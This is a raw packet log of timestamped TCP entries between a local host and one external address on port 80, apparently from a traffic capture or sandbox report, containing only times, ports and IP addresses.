Oct 29, 2024 04:17:22.983167887 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.983181953 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.983207941 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.075138092 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.080780983 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.312437057 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.312469006 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.312486887 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.312503099 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.312520981 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.312541962 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.312561989 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.312591076 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.312599897 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.312616110 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.312628984 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.312649965 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.312764883 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.313522100 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.313601017 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.313616991 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.313642025 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.313657045 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.313668966 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.313668966 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.313684940 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.313705921 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.313714027 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.313729048 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.313738108 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.313760996 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.313781023 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.313796997 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.313807964 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.313821077 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.313837051 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.313860893 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.313874960 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.313890934 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.313910007 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.313925982 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.313950062 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.313961983 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.313977003 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.313992023 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.314007044 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.314018011 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.314030886 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.314042091 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.314058065 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.314066887 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.314080000 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.314090967 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.314112902 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.314124107 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.314140081 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.314150095 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.314163923 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.314178944 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.314191103 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.314208984 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.314220905 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.314235926 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.314244986 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.314259052 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.314274073 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.314274073 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.314285994 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.314301014 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.314317942 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.314330101 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.314354897 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.314366102 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.314383984 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.314394951 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.314408064 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.314419985 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.314435005 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.314450026 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.314466000 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.314472914 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.314486027 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.314502001 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.314512968 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.314527035 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.314537048 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.314552069 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.314563036 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.314577103 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.314588070 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.314604044 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.314613104 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.314635038 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.314647913 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.314647913 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.314666033 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.314678907 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.314690113 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.314744949 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.424896002 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.425085068 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.425136089 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.425170898 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.425206900 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.425230026 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.425262928 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.425285101 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.425318003 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.425339937 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.425373077 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.425406933 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.425430059 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.425482988 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.425517082 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.425540924 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.425540924 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.425565958 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.425620079 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.425648928 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.425698996 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.425745010 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.425776005 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.425807953 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.425841093 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.425880909 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.425908089 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.425940990 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.425975084 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.425998926 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.426033974 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.426055908 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.426089048 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.426111937 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.426143885 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.426177025 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.426208019 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.426227093 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.426259041 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.426291943 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.426314116 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.426346064 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.426378965 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.426409960 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.426430941 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.426465034 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.426498890 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.426532030 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.427588940 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.431447029 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.431498051 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.431533098 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.431576967 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.431608915 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.431626081 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.431677103 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.431710958 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.431734085 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.431767941 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.431807041 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.431834936 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.431869030 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.431895971 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.431940079 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.431972027 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.432004929 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.432020903 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.432053089 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.432075024 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.432106972 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.432131052 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.432163000 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.432203054 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.432230949 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.432260990 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.432313919 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.432347059 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.432387114 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.432420015 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.432450056 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.432476044 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.432512045 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.432537079 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.432583094 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.432615995 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.432648897 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.432671070 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.432703972 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.432754040 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.432787895 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.432811022 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.432842970 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.432877064 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.432898998 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.432930946 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.432974100 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.433001995 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.433051109 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.433094025 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.433121920 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.433154106 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.433197021 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.433224916 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.433259964 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.433294058 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.433326006 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.433347940 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.433382034 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.433414936 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.433435917 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.433470011 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.433501959 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.433533907 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.433557987 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.433588982 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.433623075 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.433645010 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.433677912 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.433711052 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.433734894 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.433767080 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.433799982 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.433835030 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.433854103 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.433886051 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.433917999 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.433943987 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.433975935 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.434010029 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.434046030 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.434067011 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.434098959 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.434130907 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.434154987 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.434185982 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.434220076 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.434243917 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.434274912 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.434309006 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.434340954 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.434362888 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.434396029 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.434429884 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.434452057 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.434484959 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.434518099 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.434551001 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.434573889 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.434606075 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.434638977 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.434664011 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.434695005 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.434729099 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.434761047 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.434786081 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.434818029 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.434849977 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.434870958 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.434904099 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.434937000 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.434971094 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.434990883 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.435026884 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.435059071 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.435091972 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.435115099 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.435146093 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.435178995 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.435203075 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.435235023 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.435267925 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.435301065 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.435360909 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.435394049 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.435427904 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.435450077 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.435472012 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.435503960 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.435534954 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.435570955 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.435589075 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.435611010 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.435740948 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.535788059 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.535825968 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.535860062 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.535887003 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.535936117 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.535969019 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.536014080 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.536043882 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.536043882 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.536088943 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.536115885 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.536144018 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.536175966 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.536196947 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.536250114 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.536267996 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.536299944 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.536331892 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.536365032 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.536381960 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.536413908 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.536446095 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.536469936 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.536541939 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.536564112 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.536593914 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.536618948 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.536648035 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.536761045 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.544244051 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.544375896 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.544397116 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.544445992 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.544469118 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.544500113 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.544533014 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.544563055 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.544586897 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.544619083 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.544640064 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.544672012 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.544702053 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.544740915 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.544764042 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.544821024 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.544835091 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.544882059 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.544902086 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.544949055 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.544967890 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.545021057 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.545054913 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.545074940 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.545106888 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.545129061 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.545129061 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.545181036 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.545213938 CET	80	49755	77.83.175.105	192.168.2.4
